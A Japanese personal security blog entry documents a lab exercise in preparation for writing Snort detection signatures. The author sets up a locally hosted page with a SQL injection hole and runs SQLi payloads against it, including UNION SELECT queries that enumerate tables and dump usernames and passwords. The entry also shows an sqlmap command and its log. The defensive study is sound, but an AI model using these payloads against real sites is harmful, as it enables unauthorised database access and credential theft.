akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

2/7 SQLmapでSQLi

SnortSQLインジェクションの検知シグネチャを作成するにあたり
SQLインジェクションのおさらいとSQLmapのを使ってみようと思った

■準備
SQLインジェクション脆弱性を持つWebページを用意する
 →これは適当にググって出てきたやつを参考にした
・SQLiの手法を改めておさらいする(下記項で記載)

========
※一応備忘録として
PHPMySQLに接続できないところで1時間ハマる

ディレクトリ、phpファイル、dbのアクセス権限とか
いじってたけど、結局どれも違って

phpコードでMySQL接続するときのホスト名
127.0.0.1
が悪かったみたいで
localhost
なら接続できた

<?php 
$mysqli = new mysqli('localhost', 'root', 'password', 'sql_injection');
?>

今回の場合はディレクトリとかphpファイルの権限は全く関係なかった
========


■SQLiの手法のおさらい
基本的なSQLi

' or 'x' = 'x' #

SQLiの脆弱性があるか調査

' or 'x'='x' UNION SELECT table_name,3 FROM information_schema.tables #

スキーマのやつ使って存在するテーブルを調査

' UNION SELECT COLUMN_NAME, 3 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'user' #

目的のテーブル名を指定し、保持しているカラムを調査

' UNION SELECT name, password FROM user #

該当するカラムを使ってクエリを送る

DBの情報が返ってくる

■SQLmapを使う
以下のコマンドでとりあえず実行できる

# sqlmap -u "http://localhost:8000/sqli/vulsql.php" --data "name=guest&password=guest"

ただBlind SQLi用でデータベース名を取得するために
"--dbs"をつけて実行してみると

[22:44:46] [INFO] fetching database names
[22:44:46] [INFO] fetching number of databases
[22:44:46] [INFO] retrieved: 
[22:44:46] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[22:44:46] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[22:44:46] [ERROR] unable to retrieve the number of databases
[22:44:46] [INFO] falling back to current database
[22:44:46] [INFO] fetching current database
[22:44:46] [INFO] retrieved: 
[22:44:46] [CRITICAL] unable to retrieve the database names

と出てデータベース名の取得が失敗していた

本来であれば
[INFO] fetching database names
の後あたりでDB名が列挙されるはずだが

ちょっとここでもハマって、しばらくググってみたけど
解決しなさそうだし、今回のメインの趣旨ではないので
これに関しては諦めた
また今度かな

次回はSnortで検知シグネチャ作る